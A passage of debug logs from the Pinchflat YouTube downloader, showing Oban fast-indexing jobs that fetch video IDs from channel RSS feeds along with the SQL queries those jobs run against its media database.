"-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:00:28.156 [debug] QUERY OK source="media_items" db=0.2ms idle=116.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 10:00:28.157 [debug] QUERY OK source="tasks" db=0.0ms idle=117.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [590, 2, ~U[2026-07-24 10:00:28Z], ~U[2026-07-24 10:00:28Z]] 10:00:28.157 [info] {"args":{"id":2},"id":587,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":117935,"event":"job:stop","queue_time":380136,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:00:38.049 [info] {"args":{"id":1},"id":588,"meta":{},"system_time":1784887238049137544,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:00:38.049 [debug] QUERY OK source="sources" db=0.0ms idle=558.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 10:00:38.049 [debug] QUERY OK source="settings" db=0.0ms idle=558.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:00:38.049 [debug] QUERY OK source="media_profiles" db=0.0ms idle=558.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:00:38.049 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:00:38.049 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 10:00:41.682 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:00:41.683 [debug] QUERY OK source="media_items" db=0.4ms idle=635.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:00:41.687 [debug] QUERY OK source="media_items" db=3.8ms idle=192.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 10:00:41.688 [debug] QUERY OK source="tasks" db=0.1ms idle=197.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [591, 1, ~U[2026-07-24 10:00:41Z], ~U[2026-07-24 10:00:41Z]] 10:00:41.688 [info] {"args":{"id":1},"id":588,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":3639540,"event":"job:stop","queue_time":488333,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:00:50.063 [info] {"args":{"id":3},"id":589,"meta":{},"system_time":1784887250063106827,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:00:50.063 [debug] QUERY OK source="sources" db=0.0ms idle=572.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 10:00:50.063 [debug] QUERY OK source="settings" db=0.0ms idle=572.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:00:50.063 [debug] QUERY OK source="media_profiles" db=0.0ms idle=572.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:00:50.063 [debug] QUERY OK source="settings" db=0.0ms idle=5.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:00:50.063 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 10:00:56.329 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:59.076 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:00:59.077 [debug] QUERY OK source="media_items" db=0.5ms idle=1586.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 10:00:59.080 [debug] QUERY OK source="media_items" db=3.1ms idle=1586.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 10:00:59.081 [debug] QUERY OK source="tasks" db=0.1ms idle=15.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [592, 3, ~U[2026-07-24 10:00:59Z], ~U[2026-07-24 10:00:59Z]] 10:00:59.082 [info] {"args":{"id":3},"id":589,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9018839,"event":"job:stop","queue_time":432300,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:01:00.335 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:01:26.330 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:56.332 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.336 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:02:26.333 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:56.334 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.337 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:03:26.335 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:56.336 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.338 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:04:26.337 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:56.338 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.339 [info] {"source":"oban","duration":292,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:05:26.339 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:56.340 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.340 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:06:26.341 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:56.342 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.341 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:07:26.343 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:56.344 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.342 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:08:26.345 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:56.346 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.343 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:09:26.347 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:56.348 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.344 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:10:26.349 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:28.704 [info] {"args":{"id":2},"id":590,"meta":{},"system_time":1784887828704051384,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:10:28.704 [debug] QUERY OK source="sources" db=0.0ms idle=1182.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 10:10:28.704 [debug] QUERY OK source="settings" db=0.1ms idle=1182.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:10:28.704 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:10:28.704 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:10:28.704 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 10:10:29.023 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:10:29.024 [debug] QUERY OK source="media_items" db=0.2ms idle=319.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:10:29.024 [debug] QUERY OK source="media_items" db=0.2ms idle=320.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 10:10:29.025 [debug] QUERY OK source="tasks" db=0.0ms idle=320.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [593, 2, ~U[2026-07-24 10:10:29Z], ~U[2026-07-24 10:10:29Z]] 10:10:29.025 [info] {"args":{"id":2},"id":590,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":321164,"event":"job:stop","queue_time":547000,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:10:41.718 [info] {"args":{"id":1},"id":591,"meta":{},"system_time":1784887841718157568,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:10:41.718 [debug] QUERY OK source="sources" db=0.0ms idle=1195.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 10:10:41.718 [debug] QUERY OK source="settings" db=0.0ms idle=1195.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:10:41.718 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1008.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:10:41.718 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:10:41.718 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 10:10:41.914 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:10:41.914 [debug] QUERY OK source="media_items" db=0.3ms idle=196.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 10:10:41.916 [debug] QUERY OK source="media_items" db=1.9ms idle=196.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", 